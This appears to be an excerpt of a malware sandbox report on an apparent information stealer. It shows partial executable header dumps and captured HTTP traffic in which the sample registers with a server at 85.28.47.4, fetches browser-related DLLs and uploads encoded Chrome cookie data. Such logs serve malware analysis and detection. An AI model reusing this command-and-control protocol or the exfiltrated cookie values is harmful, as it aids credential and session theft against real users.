38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 27 Jun 2024 17:26:06 GMTContent-Type: application/octet-streamContent-Length: 1940480Last-Modified: Thu, 27 Jun 2024 17:09:49 GMTConnection: keep-aliveETag: "667d9cdd-1d9c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 30 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4d 00 00 04 00 00 27 5b 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 12 4d 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 12 4d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2b 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 76 6a 63 7a 6c 77 61 00 90 1a 00 00 90 32 00 00 84 1a 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 79 73 73 70 61 66 63 00 10 00 00 00 20 4d 00 00 04 00 00 00 76 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4d 00 00 22 00 00 00 7a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 27 Jun 2024 17:27:06 GMTContent-Type: application/octet-streamContent-Length: 2462720Last-Modified: Thu, 27 Jun 2024 15:09:50 GMTConnection: keep-aliveETag: "667d80be-259400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 fa 75 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 c8 0a be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 be 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 f0 9c 00 bb 0e 00 00 dc fe 9c 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 9c 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 79 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 60 21 00 00 c0 9c 00 00 60 21 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJEHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 36 30 43 39 36 36 38 33 39 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="hwid"660C966839272029741119------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="build"default------GHDAAKJEGCFCAKEBKJJE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHCHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 2d 2d 0d 0a Data Ascii: ------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="message"browsers------FIIIIJKFCAAECAKFIEHC--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBAHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="message"plugins------BGDAAEHDHIIJKECBKEBA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="message"fplugins------BFIDGDAKFHIEHJKFHDHD--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECGHost: 85.28.47.4Content-Length: 5571Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHCHost: 85.28.47.4Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 2d 2d 0d 0a Data Ascii: ------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12Z
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBGHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 2d 2d 0d 0a Data Ascii: ------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="file"------DBKFHJEBAAEBGDGDBFBG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 2d 2d 0d 0a Data Ascii: ------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file"------JEGHJDGIJECGDHJJECGH--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDAHost: 85.28.47.4Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
